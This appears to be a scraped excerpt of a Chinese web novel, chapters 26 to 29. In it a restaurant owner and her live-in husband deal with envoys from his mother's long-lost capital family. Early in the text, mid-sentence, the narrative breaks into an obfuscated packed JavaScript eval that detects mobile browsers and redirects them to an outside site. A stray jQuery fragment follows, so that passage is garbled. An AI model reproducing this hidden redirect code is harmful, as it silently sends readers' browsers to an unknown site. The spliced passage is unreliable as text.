谢文济没打开荷包看,他也不知道谢九九给谢文济的汇票能兑多少。他自己也有姐姐给的汇票,两张五十两的。就是怕在外面碰上什么要命的情况,拿来花钱消灾。 小舅子近乎殷勤的态度,多少安抚了一点点儿裴元被抛下的心。 黄娟捎带过来的东西和几坛子酒,连同那一荷包银子被裴元自动理解为都是谢九九给他准备的,好歹没有一回去就忘了府城还有自己这么个人,还不算全没了良心。 看姐夫自己这么哄着自己,哄得还挺像那么回事,谢文济自然不会戳破。只是心中多少有些感慨,怎么男人成了亲跟成亲前全然不是一个样子。 没过门前,姐夫虽然也会隔三差五往家里去,但一向都是进退得宜很自持的一个人。哪像现在啊,见了自己也不问一句路上走得顺不顺,张嘴就先问姐姐。 看来这男人成亲好也不好,好是有了一个家,不好嘛,反正谢文济偷偷跟自己说,以后成亲自己可不做姐夫这么粘人的人。 谢文济跟着裴元往小院厢房里走,面上半点不露心里疯狂吐槽,他还是更喜欢他姐夫那副稳若泰山八方不动的样子。现在这样,多少有些不值钱。 裴元不知道谢文济在心里死劲儿蛐蛐自己,留谢文济在家里住了三天。 确定送谢文济来府城的人回去了,确定自己要人家带给谢九九的回信都带了,确定谢九九要是真放心不下自己该来早来了也没见着人,这才领着小舅子往书院去。 学生新入书院都不习惯,尤其像谢文济这种半路插班来旁听的,连斋舍该怎么给他分都要花点心思。 学得好的学生是不要想了,人家有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323417|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家的圈子,眼下都卯着劲儿准备每年下场考试。 突然安排一个四书还没读透,八股和策论怎么破题还生疏得很的雏儿住进去,不光是扰了人家读书的氛围,也会害了谢文济。 同样把他塞到跟他一样的旁听生斋舍里去也不好,大家大哥不笑二哥倒是不会有什么矛盾。 可大家都不学,也不知道怎么学,日子一长,等谢文济熟悉了书院不觉得生疏了,就很容易得过且过的混日子。 裴元在李院监处商量半天,才给谢文济选定了斋舍,同舍的另外三名学生都是家境不错成绩中下,不是不读书,相反还很勤奋,只不过天赋有限。 这样的人或许读书读不成气候,但让谢文济跟他们同窗,至少能学一学他们身上那股子头悬梁锥刺股的劲头。 谢文济小时候身体不好,家里还是太娇惯了些。裴元这个当姐夫的不好管束他太狠,就只能找人来管一管他。 谢文济安顿好,第二天就开始跟着童生黄二班旁听。旁听生的位置并不在最后面,而是在侧面摆了几张桌子,方便先生随时观察他们的学习情况。 旁听的学生也不止谢文济一人,或许是前一天晚上跟同斋舍的舍友关系处得不错,人家说了些经验之谈给他,谢文济这会儿坐在侧边最末尾的书桌后面并不慌张。 裴元连着守了他三天,见谢文济适应得不错才放手不管,重新收拾了自己留在客院的包袱东西,直接去了书院后头自己老师的住处。 裴元的老师姓崔名顺,字鹤儒,是裴元正经准备了六礼束脩,拜帖投师签订关书拜到崔顺门下的那种老师。 古话总说一日为师终身为父,崔顺和裴元的关系便是如此。以后不管裴元的前程如何,一问师承何处那就是崔鹤儒的学生。 只不过崔鹤儒是个特别怕麻烦特别不拘小节的人,上次裴元带谢九九来书院,他见了一面以后就让裴元忙他自己的事去。 老头儿明明白白说了,你忙你的,该去找山长的找山长,要办事就去找李骏,等手里的事情都处理好了再回他这里来,落下的功课别想躲了。 现在不补上以后也要补,崔鹤儒对于裴元什么时候下场考试并没有执念,他学成了什么时候下场什么时候就能考中,要是学不成那就再多耽搁几年,着急也无用。 “来了。” “让老师久等,是学生的不是。” “少学李骏身上那股子油腔滑调,你如今成家了自然要把心思放在家里,你亲娘的事又复杂,你身为人子不管又还有谁管。” 崔鹤儒是一个看上去其貌不扬的小老头,说出来的话却字字句句都是替他这个学生着想。 不过这般春风化雨的好老师也就维持了这么一小会儿,等裴元安下心来留在崔鹤儒院子补课,三天就被崔鹤儒布置下来的功课给彻底降服了。 别说什么裴老三和关家,就是谢九九他都几乎没时间惦记。整天睁眼便是上课,不上课的时候就是在写崔鹤儒留下来的功课。 八股与策论,崔鹤儒出的题目没有偏门的,但就是能精准的摸到裴元学得不扎实的地方。再围绕他不扎实的地方继续查漏补缺,必须练到他吃透了学明了为止。 26-30 第26章 第26章心窝子掏不掏 谢九九毕竟年纪小,这几年被本家的族人为难得多了,难免有些偏激。可这世上虚情假意固然多,真心实意却也不是没有,潘掌柜便是如此。 想要去更好的地方给实力更强的东家干活是真,替谢家守了三年云客来,给自己把饭庄里的事一件一件仔细交代也是真。 谢九九对人向来要留三分,现在得了潘掌柜毫不遮掩的好,一时间就觉得自己准备的二百两银子,拿出来是辱没了人。 “东家这是什么话,出了门何处不要用钱,这银票东家给的正是时候,我就不跟东家客气了。” 活了大半辈子的人了,潘掌柜如何看不懂谢九九。十七八的姑娘被逼得只能招赘,还要扛起一个家,有防人之心是对的。 自己不过尽自己的心,她便觉得她待自己不够诚,羞愧得脸都红了。 说到底还是这孩子心软,不怕别人对她不好,大不了拼个你死我活也不是不行。就怕别人对她好,她反而不知道该怎么回这份好意。 “九九,我跟你大舅是一辈儿人,今天托大再咐你一句,以后在云客来你轻易别心软,对你好的人不管怎么着都知道你的难处,老想着要你心软的人,好不到哪里去。” “潘掌柜的话我放在心里了,我就这会儿不自在,等过两天也就好了。您尽管放心,我这人厉害惯了,您想要我改我也改不了。” 一老一少,没了东家和掌柜的身份束缚,倒是比之前三年聊得更投机,谢九九都恨不得拍胸脯把潘掌柜留下来,潘掌柜也恨不得立马去信拒了那边东家,干脆留下来得了。 聊完了,听见前面热闹起来,收拾好心绪起身往外走,才又看不出方才两人刚掏过心窝子,什么留下来不留下来的,也就那么一说。 生意不好,不是完全没客人。要做掌柜,自然得在饭庄里支应着。 成亲了,头发得梳起来。大热的天多余的首饰不愿意戴,早上打开装包头巾的匣子,挑挑拣拣半晌,挑了一块淡粉色的丝绸纱。 把挽起的发丝包住,再用裴元自己做的银簪固定,配上珍珠耳环,瞧着简洁大方,站在当年谢德昌习惯站的位置,进来的客人便都知晓,云客来的东家是真的回来了。 或许是谢九九今年三下五除二把谢家收拾得够呛的事传得足够广,又或是谢九九骑马去裴家接亲足够霸气。 总之进来的客人无论是谁都客客气气朝谢九九拱手示意,谁也不当她是以前那个跟在谢德昌身后,天天在云客来里玩儿的小孩儿。 客人不算多,后厨的菜也出得快。忙过一阵谢九九躲到柜台后面,一边扒拉算盘珠子一边看着外面的街市,琢磨能有什么法子能把食客重新招揽回来。 谁知没等谢九九想到有什么办法能吸引食客,就瞧见承平急匆匆的从外面跑来,“大娘子,出事了。府城来了人,说是姑爷亲娘的娘家人找来了。” 谢九九成了亲,家里的 称呼都跟着都改了。大姑娘成了大娘子,黄娟成了夫人。谢文济和谢芝娘没成家,还按照之前的称谓,不曾有变化。 承平一路跑过来急得很,许是慌了神也不管铺子里还有食客,就急急把事情大声说了。 跟在后面一路小跑赶都赶不上的春儿,老远就听见承平的声音,气得想骂人又实在喘不过来,只得先去扶住脸色有些难看的谢九九。 裴元跟自己说过关氏的事,被贬谪的去了岭南的人家,时隔多年能来找一个半路病得只剩一口气的女儿,是不是好事还真不好说。 “裴元呢,他知不知道这事。” “府城来的人先去的裴家。” 到了裴家见只有看家的老高头和水妈妈,一问才知道裴元自己做主把自己给嫁了。 “人是被老高叔带过来的,姑爷不在,已经打发曹勇去衙门那边了。” 自己跟承平往饭庄这边来,本是想悄悄把大娘子叫回去就行了,谁知承平这个小子慌脚鸡一样,没一点用! 定下跟裴元的亲事之后,谢九九想过裴家本宗不乐意,也想过关氏得着消息之后来闹。所以这门亲事裴元说他自己能做主,谢九九就再没提过别的。 就自家的条件,还想找个条件比裴元更好的女婿入赘是不可能了。好不容易两边都乐意,紧赶慢赶把亲事办完,这怎么刚把人弄回家,就出岔子了。 谢九九稳了稳神,收拾好心情,很快脸上就看不出有什么不高兴的样子,还伸手在承平肩膀上拍了拍。 “去后面喝点水,多大的事用你这么着急忙慌的跑来。找来了好啊,独木不成林,这事要靠得住以后咱们家又多了门能走动的亲戚啊。” 谢九九面上不露异色,把饭庄依旧留给还没走的潘掌柜和秦娘子,又耐着性子跟几个老客打了招呼,这才带着春儿从云客来出来往家中走。 到家的时候黄二舅已经带着两个表哥来了,老实巴交的汉子坐在前院门房外的条椅上,一见谢九九就先站了起来,“你大舅带着姑爷去镇上了,得下午才能回。” “那就让高义去镇上找。” 二舅讷言,却最疼爱谢九九。从小谢九九就骑在黄江肩膀上这条巷子走到那条巷子,只要谢九九没逛够,黄江就不回家。现在姑爷家出了变故,哪能不着急。 “二舅别着急,不一定是坏事。” 不管来的人是从岭南还是京城来,能出得起路上的花费,还能在茫茫人海里把关氏找出来,这里面要花多少时间多少银钱,是谢九九都不敢想的。 “你这孩子,别哄你二舅。这么好的人家,能眼看着自家的姑娘给别人做外室,自家的孩子入赘给咱们当姑爷?” 要不说有时候老实人说话办事更不好拿捏呢,本来还想哄一哄家里人,没成想一句话就被黄江给戳破了。 “不是哄您,是哄我娘。等会儿进去千万别说了,这事等裴元回来再说,人家愿不愿意还不一定,关家就那么好回?也不一定吧。” 这话说得倒是有道理,黄江点点头就不说话了。 容县因为府城传来的消息,惊动了三家人。府城关氏住的小院子,更是被从京城来的人挤了个水泄不通。 捡关氏的寡妇姓周,关氏当年被周寡妇捡回去时年纪不小了,病得昏昏沉沉的时候被周寡妇问出身家世,也曾糊里糊涂的吐露过一些。 等到后来病好了养活了,两人反而默契的再不提关氏的出身。 关氏调教出来被裴家老三相中,也只囫囵说关氏是大户人家的小姐出身,周寡妇是关家的远方亲戚,后来家里落了难才让关氏来投奔了周寡妇。 这样的说法半真半假,反而更能唬人。裴三爷看中的是关氏的美貌和仪态,这么一个美人养在府外,弄一个小宅子,每个月给上十两银子就足够了,谁在意她到底是什么出身。 也正因如此,关家起复以后,几次派人来岳州找这个孩子,都一点消息都没有。 当年关氏病重,活着没活着都未可知。关家找不到也就不敢再找了,有时候找不到也是一种希望,家里人也好自己哄着自己,关氏一定是被人救了去。 不知道在哪个县哪个镇亦或是哪个村子里,嫁人生子过着平淡安稳的日子,要是孩子生的早些,如今恐怕都要做祖母了。 谁知,好日子没过两年,关氏的母亲庞氏又得了重病,去年年底请太医去府里看病,就说要是能熬过年底许是还有一两年的寿数,要是不好,恐怕也就是年前年后的事了。 当娘的亲手把女儿一卷席子扔在流放的路上,是万般无奈也是个大家都找个活路。女儿跟着走下去活不成,自己带着那么个病恹恹的女儿走下去,也活不成。 当时狠下了心,觉得命里注定。过后自己活下来了,又不知道多少次后悔,不该把女儿扔下。 就是活不成,也该让孩子在自己身边咽气。自己带到世上来的孩子,再由自己亲手埋了也算安心。如今这死活不知的,又怎么甘心闭眼落气。 心里顶着一口气,庞氏倒是真撑了过来。但毕竟是油尽灯枯的人了,再熬又能熬多久。关家只能再派人来找,这一次或是下了狠心,亦或是运气眷顾,总之是把关氏给找着了。 关氏是被裴老三养着的外室,却不是立不起来处处要靠着人的女子。 这会儿她听着来人说的话,脸上并没有多少喜色。这人只说关家洗脱了冤屈回了京城,说家里娘亲病重,只盼着再见自己这个当女儿的一面。 可关家到底是因为什么获罪,又凭什么能洗脱冤屈,洗脱冤屈和回京起复这二者之间区别大了去了。 只说娘亲想自己,想再见自己一面,却又不说如今家里还有哪些人。一个裴家,内里都几房争斗复杂极了,更何况是关家。 能找到自己,就一定是知道自己这些年过的什么日子。 娘亲想见自己,关氏并不质疑,但其他人呢,还想要见一个给人做了多年外室,甚至还差点成了暗门子的自己吗。 最重要的,来的两个管事从始至终都没有提及裴元。那是自己的儿子,是这么多年自己一直认定,在这个世上跟自己唯一血脉相连的儿子。 他们不提,是他们不想认,还是说不知道该怎么提。 当年一家子被流放,母亲把自己留在岳州是逼不得已,自己从未怨恨过。但自己这一生,苦的时候多乐的时候少,早不是关家那个天真烂漫的小姐了。 她看着眼前的管事,心中担忧母亲不假,但更多的还是在心中飞速筹谋,是不是能借这一次机会,替儿子求来更多更好的前程。 第27章 第27章说没有用 高义找到裴元的时候,裴元正一手扒拉算盘一手登记造册。 县衙就这么多人手,下个月收的夏粮要全部入库造册,为了不耽误布政使司汇总,眼下整个衙门就该忙起来了。 特别是户房的人,一个个都忙得脚不沾地,连带皂班快班的捕快都抽调了一大半来帮忙。 裴元正拿着上一年的户籍册子核对,等书面上的对完,还要去田间地头核对,确保这些田地是真实存在的,没有虚报瞒报。 这些事光靠县衙这些吏员,每天十二个时辰不睡觉也做不完,这个时候各村的村长、里正就显得尤为重要了。 不知道是不是故意的,黄海专门挑了鹿角镇。 底下各乡各村的村长、里正都来了,在村上颇有脸面的人到了黄海跟前,谁都要陪几分客气,只有族爷家的老二,鹿鸣村现任里正站在不起眼的角落,一言不发地看着这边热闹。 谢家那族爷至今病还没好,本就脾气不好的人被气狠了,再听说村上的私塾已经办起来,幺叔爷当了塾长没来找他,一生气病就更好不了。 当爹的再不好,轮不到谢里正这个儿子来抱怨。但旁人不会管这些,人家都 围在裴元和黄海身边说话。 夸沈霁这个教书先生性子好,谁家的孩子送过去,不管学得多慢从来不骂人。又夸幺叔爷这个塾长当得好,一个个皮猴子被他管得老老实实的,谁都不敢闯祸胡来。 最主要的还是说谢九九的好话,说她这个谢家的当家人做的好,没忘了族里,给村上族里办的都是实事。 这个月份早稻到了要紧的时候,月底陆陆续续各家都要收割。收割完了马上又得把晚稻种下去,一年两熟听着富饶,干起活儿来也是正经能累死人的。 为此谢九九专门让双喜跟沈霁说了,这两个月每天只上半天课,剩下半天学生们都回家帮忙干活去。 乡下养孩子,除了三岁之前要人看着,三岁以后那就是见风长不用操多少心了。 农忙的时候五六岁的孩子能自己照顾自己,七八岁的女孩儿能在家做全家人的饭,还能把喂鸡喂猪的活儿一起干了。 十岁上的男孩儿就是半个劳力,不管是收割还是插秧,家里的活儿是肯定不能落下的。 要是农忙的时候不让他们回去帮忙,恐怕这私塾里的学生过不了多久时间就要少上一大半。 现在这么安排,大家伙才都觉得这样好,又读了书又没耽误家里的农活儿。 私塾是谢九九出银子办的,教书的先生是裴元的同窗,就连请了幺叔爷这么个镇山太岁看管那些皮猴子,花钱的也是谢家。 如此一来,大家伙提及谢九九和谢家,自然是只有说好话的,连同幺叔爷在村里的名声威望都高了许多。人家是塾长,那也是半个先生嘞。 作为谢九九的姑爷,裴元被隔壁几个村的里正村长围着一通好夸,都是想这位姑爷松松口,让自家村里的孩子也能去鹿鸣村读书。 可这事裴元能替谢九九做主吗,况且谢九九压根也不能同意。 且不说这个口子一旦开了,会有多少人想要把家里孩子送去私塾,到时候收了这家不收那家反而得罪人。 只说来回路上的安全问题,就不是人家家里大人拍胸脯三两句话保证,真的能保证了的。 一个村子里,住得再偏远也就那么远,出了事喊一嗓子周围总有左右邻舍出来帮忙。 出了村子,再是说就在隔壁,走过去也还有老远的路。有的村子甚至还得翻一座小山才能到,这路上来来去去出点什么意外,是谢家能负责还是沈霁能负责。 都不能,那这个口子就不能开。 不过这事不能回绝得这么硬,裴元只笑着说沈霁年轻,启蒙的时候最要用心,孩子多了教不过来,实在是有心无力。 这话一说出来,鹿鸣村的村长和跟着一起来镇上的幺叔爷先变了脸色。不用裴元再多说什么,这事从他们那儿就肯定是不成的了。 这事不行,大家伙也不纠缠,转头又围着黄海说起今年夏粮的事情来。 税即是粮,粮即是税。整个岳州府都近湖泽,一年两熟交的都是粮,这么多年交粮早成了一门学问。 粮食交上来之前,还有那么多道工序,尤其是要在坪上晒干,晒干了再把掺进去的沙子筛出来,这里面要是想要做手脚,能省下来的粮食,可都是自家的口粮。 这种事年年都有,往粮食里掺沙子掺稻壳,再不然不把粮食晒得太干,黄海是年年斥责,底下的村长里正是年年赔笑脸,最后这些粮食还不是该收都得收。 裴元不管那些,他只负责把要登记造册的文书弄好,书面上叫人查不出错处就行。 老百姓种一年的粮食不容易,都别看不起这些小心思,省下来的粮食说不定就能让一家子吃上一顿肉,这难道不要紧? 从府城到容县,裴元这几年觉得最不亏的就是当初为了赚钱来给衙门帮忙,埋头读书固然重要,有时候也得抬头看看这天下,看看这从未被写进史书子集里的琐碎小事。 二十来岁的年轻人再稳重,想到这些心中也难免有一丝得意,觉得自己的谋划处处周全。 可命运最擅长的便是一个又一个的玩笑,还没等裴元偷偷走神想一想今晚回去能有什么好吃的,就远远瞧见高义驾驴车过来了。 高义聪明,来的路上就想明白了这事还是说不上是好是坏,到了地方不露慌张,只是附到裴元耳边,小声把这事给说了。 自己亲娘的娘家人找来了?裴元听了这话第一反应是疑惑,随即便把心里的惊骇强压下来。 “夏粮的事不好耽误,你先回去跟大娘子说,就说我知道了,让她把人留下来,等我回去了再商量。” 黄海见家里来人,立马转头拿眼神问裴元怎么个事。 “没事,就是镇上空着那宅子有人问九九还租不租,这不又问我来了。” 放屁,一个宅子租不租谢九九还能问到你这儿来?还非要高义从县城专门找过来。 裴元找的借口黄海是一个字都不信,他也知道裴元不说实话,那就肯定是这事还不好让人知道。他不多问,只拿手指点了点账册,让他专心办差,有什么事回去再说。 裴元说的是回来再商量,谢九九真就不多问来人一句。 从府城到容县起码得要半天。这个时辰找来,肯定是一清早天还没亮透就出发了。谢九九让陈妈妈炒了几个菜蒸了白米饭,招呼人吃饭。 吃完了饭让承平把两人带去前院客房里歇下,而自己则留在后院待了半日,该吃吃该睡睡,大下午的睡了一个多时辰,直到金乌西沉,闻见厨房飘过来的饭香才起身。 洗漱梳洗过,出了房门站在廊下,正好碰上裴元和黄海从后院小门回来。 说是说先忙正事,哪里又真的能安心。下午抓紧时间把事情办完,镇上要留两人吃饭都没答应,一路紧赶慢赶的回来连正门都没走。 “来的什么人,态度如何,有没有为难家里。” 谢九九派高义去镇上找自己,只说是娘亲的娘家人来找,其余的一概不说,裴元就知道来的人肯定有什么地方让谢九九不满意。 “来了一个管事和一个小厮,两人身上的衣裳皆是上好的夏绸,寻常人家怕是都穿不起。” 都说宰相门前七品官,谢九九和裴元都没见过宰相。只看着来人从头到家皆体面,就知道这寻亲的关家如今一定家世不凡。 寻亲本是喜事,尤其关氏又一个人在外飘零多年。但她这些年来的经历实在算不上好,门第太高的家世,或许也不全是一件好事。 “他们只说了他们从京城来,是想要接……”谢九九顿了一下,考虑了一下该怎么称呼,“接娘回去。” “不是说关家的老夫人病重,若这事是真的,确实该回去。” “我也是这个意思,但娘不肯说回还是不回,只说让他们把你接去府城再说。” 裴家在容县只有裴雨伯这一支,裴雨伯一死,只要不是裴元主动往府城去,府城里的裴家跟容县这边基本就断了联系。 入赘的事,裴元把家里几口人嘱咐好了,沈霁又不是个多嘴的人,府城那边至今还一点风声都没收到呢。 “走,咱先去问问那两人,这事到底想怎么办。要是真得去府城,咱俩一起去,正好把潘掌柜也捎带上。” 谢九九眸色中有不小心漏出来的一丝不安,裴元看见了没追问。有些事问没有用,说更没有用,只有落到实处做到了,才能叫人安心。 裴元牵着谢九九往前院走,谢文济习惯着也要跟着姐姐去,却被黄海给拉住。这事跟关氏有关系,跟小两口有关系,旁人再掺和却没有好处。 “大舅?” “别裹乱,你能有你姐厉害?等着看看情况再说。” “大舅,要是姐夫他娘亲的娘家要把姐夫和他娘都带走怎么办啊。” 怎么办,要是真的能从裴老三手上把关氏要来的人家,裴元若心甘情愿跟着走,黄海扫了一圈自家妹妹和外甥,那还真是一点法子都没有。 第28章 第28章拿乔?谁不会~ 谢家害怕关家找来,把到手的女婿带走。被安置在前院客房的韦管事心里也七上八下,觉得这次来岳州怎么事事不如意。 本来为了找到失散多年的姑奶奶就已经费了老大的劲儿,好不容易找到了,这么大岁数的姑奶奶还是个没正经出过阁的姑小姐。 一打听姑小姐这些年来的际遇,心就往下沉了一截。 哪怕给人当个姨娘呢,也比给人当外室说出去好听啊。偏偏这主儿还不是个好哄的人,人家有儿子,过继出去了又如何,真碰到事上了,人家第一个想到的就是儿子。 这次关家派了两个管事出来,二管事留在府城应付裴家的人,韦管事是专门负责替府上在外面办差的小管事,来容县请裴元这种‘小事’自然是他来跑腿。 “管事,您说这谢家也真有意思,都说了咱们是京城来的,为的是要接姑小姐回去。他们家倒好,表面上看着客客气气,其实防备得很。” 岳州府本就不是什么大府城,之前打听到关氏的消息,他们都以为说明了来意,大小姐肯定能马上答应跟着去京城。 毕竟关家的大小姐,和高州通判家老三养的外室,这两者之间身份差距说是天差地别,一点也不过分。 不想那姑小姐不是个好说话的,连要求都不提,只说先把儿子接过去再说。这就是摆明了要走可以,但是要带着儿子一起走。 他们也是到了容县才知道这位小爷竟然自己把自己入赘给别人家了,这消息打了两人一个措手不及,本来就复杂的事,这下就更复杂了。 “在府城的时候就听旁人说,大小姐生的那小爷模样才情都好,还是个读了书的。得了这么个姑爷,要是你你舍得放手。” “管事说得对,不过这种事讲究个你情我愿,小爷自己答应的……” “此一时彼一时,跟着大小姐回咱们家,在京城就再没有人知道小爷的出身。留在这儿?” 真不是韦管事自视过高,谢家不过一个小小县城里开饭馆的人家,能给小爷什么?顶天也就是读书赶考的银子不需小爷操心。 这算什么难事,说句不好听的,这点子银子自己和严管事凑一凑都能凑出来,如何就到了要堂堂一个男子汉入赘的地步了。 院子就这么大,两人说话声音也没有刻意压低。 前院有老吴叔坐在门房外面守着,一张矮竹椅一把大蒲扇,就这么认认真真的守着,隐约听见两人说话的内容,脸色难看得吓人。 倒是裴元和谢九九站在门外廊下听得认真,脸上并没有显露出明显的不高兴。甚至耐心等里面说话声停了,才推门而入。 事关娘亲的身世和未来,裴元没有跟两人绕弯子,拱拱手道了一句路上辛苦,便很直接的问两人的来意。 关氏和几个兄弟姊妹长得都很像父亲,而裴元长得又像关氏。 韦管事看着跟府里老爷和大爷都有四五分相似,眉眼舒朗神情冷峻的年轻人。原本还因为裴家生出来的几分怠慢之心,此刻也全藏了起来。 事情不算复杂,就是关家老夫人病重,死之前还想找到当年扔在半道上的女儿。 而不管是自欺欺人还是不敢多想,关家一家子都从来没提过要是关氏流落到脏地界或是做了暗门子该怎么办。 哪怕是庞氏,这些年来也只说害怕女儿日子过得清苦受罪,别的话一句也不敢提。 这次出来找人,两个管事得着吩咐也只有一桩,要是找到了大小姐就赶紧把人带回去。 在关家的设想里,要是关氏是流落在寻常甚至清苦人家,那么不管是给银子还是后面再帮衬着,问题都不大。 要是关氏落到更不堪的境地里去,其实更好解决。什么样的女人拿银子赎不出来。赎出来了带回京城,回了关家大门不出二门不迈,又有谁还能知道关家大小姐在外面经历过什么。 偏偏关氏的情况是两边不靠,裴家再怎么说祖上也曾在京为官,现在二老爷在高州任通判,那裴三爷还用儿子换了个总旗的武职。 这么一来,想要顺利把人带走,除了关氏自己愿意,裴家这边不能得罪得太狠了,裴元怎么安置也不能马虎,桩桩件件都是头疼的事。 主子不在,管事的就不敢把话说得太死,除了要把关氏带走是斩钉截铁的,其他话多少都有些模棱两可。别说裴元,就是谢九九也听得只冒火。 “来找我,是因为娘不肯跟你们回京城,想要我帮着劝一劝。” 裴元沉着脸看向两人中明显为主的管事,脸上的神情多少有些不虞。还是搭在大腿上的手被谢九九紧了紧,难看的脸色才多少收敛了些。 “贵府派你们出来之前,可曾知晓我娘的情况。” “不知,我们到了府城有四处托人打听,前后用了两个月才找着。前天找到姑小姐,当天就已经往京城去信了。” “既去了信,不若等了回信再做决定。” “这如何能行,夫人病重就等着姑小姐回去,小爷这话万万不行。夫人也是您……” 裴元神冷厉,就等着看这管事能说出什么话来。果然话说到一半卡了壳,只含混着说什么一定要念在母女亲情上,劝关氏跟他们回京。 裴元本也没打算从他们嘴里逼出什么话来,便是他们做了保事情也不是他们能做主的。不过是把他们的态度摸清楚,也就够了。 “再急,也不急在这两日。”真要是只剩一口气吊着了,这两个管事恐怕连裴家和关氏什么态度都不会管,直接把人带上船一路北上。 至于之后有什么麻烦,不说关家能摆平。那时候把母女亲情搬出来才更有用,母亲临终前就想见失散多年的女儿一面,不过是先把人带走了,这是什么大不了的事吗。 他们既然没选择这么干,裴元心里就把稳得很,要着急也轮不到自己着急。 “我成家了,要去府城自然是要带着妻子一起过去。管事若着急,不如现行替我回去给我娘传个信儿,就说我给她求了个好儿媳妇回来,我们随后就来。” “小爷,这可不成啊……” “时辰不早了,家里还有老小就不陪二位了,等会儿着人把饭菜送来,二位好生歇着吧。” 这就连关家现在在京城到底是个什么样的人家他也好似半点兴趣都没有。他们两个不主动说,他就一句也不问。 韦管事还真就拿他一点办法都没有,憋憋屈屈在谢家住了一晚,第二天一大早天才蒙蒙亮便告辞回府城去。 另一边的关氏也一样,亲娘病重那就问亲娘的病情,别的一概不问。当天好几次严管事自己想要透露一些关家的情况,也被她用别的话岔过去。 真想要说,进门时就该说。发现自己不是个软柿子又想要拿家世来哄自己跟他们走?晚了。 关氏一口咬定了要把裴元喊回来,儿子回来了再说别的。 裴老三心里急得直跺脚,面上却依旧和颜悦色,一副体贴入微的样子,好像关氏就是他的正头娘子一般。 严管事找到关氏门上的时候已经是下午了,裴老三还想要把人请回裴家去住。谁知留下来的这个姓严的管事面上客气,脚下却不曾动一下,眼神则一下一下地往关氏身上看。 裴老三一下子就明白了,人家高门大户,女儿流落在外给人做了外室,不管当初有多少苦衷心里肯定是不高兴的。 这不高兴不能冲着关氏去,不就只能自己受了。 裴老三心里觉得自己比窦娥还冤枉,可脸上依旧半点不露。 “时辰不早了,今儿就不留三爷在妾身这边宿,等他们把元哥儿带回来,有什么事到时候再商量吧。” 都说色衰而爱驰,关氏二十二岁生裴元,裴元今年十九,关氏也是四十出头的人了。再出色卓绝的容貌,四十岁的妇人又如何跟二八年华的女子相比。 早几年关氏就听说裴老三在外面又养了一房,那人好似还是女支院里的红人。 自那以后裴老三来自己这儿就更少了,来了也只吃顿饭并不做什么。她知道他还来,是因为自己给他生了裴元,也是自己动作之间带着大家闺秀的风范。 裴老三这人文不成武不就,从小比不过上面两个哥哥,要不然也不会只有他留在家中打理二房的庶务,连个不入流的官职都没给他谋来。 偏又是个要脸面的,总觉得两个兄长娶的都是官家女,只有他娶的妻子娘家是富商,这也能让他觉得抬不起头来。 当年他肯花大价钱从周寡妇手里把关氏买来,就是看中她的是官宦人家的小姐。 直至今日,都多大岁数的人了,还是时不时就要往自己这里来,看着自己规规矩矩的伺候他,过这个干瘾。 对此关氏平日不拆他的台,巷子里孩子,还喜欢把沙子泥土凑成堆当山珍海味,你是爹我是娘的过家家。 总之每个月十二两银子准时送到这小院来,就当是陪他闹着玩儿。 但现在不行,裴老三今日若是留下,关家的管事说不定就真要被裴家拿捏。 关氏说话依旧轻声细语,语气里却多了几分不容置疑。裴老三心中不快,又说不得什么。一旁的严管事已经极为识趣的起身往外走,他再留着就不像话了。 从关氏的小院出来,严管事带着两个小厮回了客栈。裴老三一路跟着送回去,看着几人进了客栈这才往回走。 关氏不松口,裴家一大家子、关家的管事和关氏,就只能干等着。却不想好不容易等到韦管事回来,没见着裴元,倒得了裴元入赘给谢家当了女婿的消息,可把众人惊了个够呛。 第29章 第29章府城 第二天韦管事一走,谢九九马上开始收拾行李。 给关氏准备好的孝敬都是早就准备好的,布料和茶叶是本地给长辈送孝敬时必备的,谢九九给关氏准备了两匹绸缎两匹锦缎,两匹杭绸,还有两匹松江细棉布。 茶叶是今春岳州当地的新茶,炒茶的师傅也是经年的老师傅了。是云客来用了好些年的茶师傅,专门给家里留出来的。 以前谢德昌每年都要往亲戚和朋友家里送一些,现在轮到谢九九还是这么个习惯,就连县衙里的几个老爷家都知道,每年春上谢家都要送茶来。 再有就是家里自己做的点心和干货腊货,和一些专门跟铺子里定的一些干海货。岳州不临海,这些东西不提前定下来,买都没地儿买去。 裴元跟在谢九九身后,看着她收拾这些东西,心中泛起一阵酸软涟漪。这人明面上什么都要丁是丁卯是卯的算计清楚,其实做起事来远不是嘴上那般。 就好比秦娘子,说是饭庄比绣坊的事情多,平时还要帮着她这个新掌柜支应客人,一个月工钱比在绣坊能多开二钱,一天三顿都能在店里吃。 四钱银子,听着比起秦娘子之前在绣坊的二钱好像多了许多,但其实云客来几个店小二都是四钱,秦娘子干的活儿却要比他们更细致更杂一些。 定下这么个工钱,是不让店里的其他人眼红,一个女人出来干活儿给得多了,对她来说不一定是好事。 但饭庄的生意,每天都有剩下的饭菜和食材。店里几个伙计跑堂只有一个成亲了且家就在县城的,剩下几个不是还没成家,就是家在底下镇上乡里。 这些人平时吃住都在店里,除了偶尔回家多少要从后厨拿些当日没用完的菜肉,其余剩下的秦娘子也能多少拿些回去,反正她不带第二天也不能再卖给客人。 这么一来,别说家里两个孩子,就连何奎的饭钱也能省出来。何奎在码头饭庄两头跑,哪里有活儿往哪里奔,一个月一、二两银子总能挣下来。 加上秦娘子的收入,一家四口在县城里过日子,眼看着就宽裕起来了。 谢九九回来跟家里人说起这个,只说是秦娘子能干,背后又有何奎这个在码头混老了的人撑腰,真有什么事吆喝一嗓子,何奎从码头带着兄弟过来也快。 把她放在饭庄里,就算自己有时候不去铺子里也能安心。 这理由找得冠冕堂皇,裴元却知道她只是看着秦娘子带着两个孩子,家里家外的操持不容易,心软罢了。 心软的谢九九,这会儿心里还指不定怎么忐忑,生怕自己这次去府城是肉包子打狗,一去不回头。 “你放心,我娘去不去京城都未可知,她去我也不会走,定不会叫你招一场女婿落得一场空。” “嗯。” 从关家的管事找上门来到现在,谢九九就显得格外沉默。 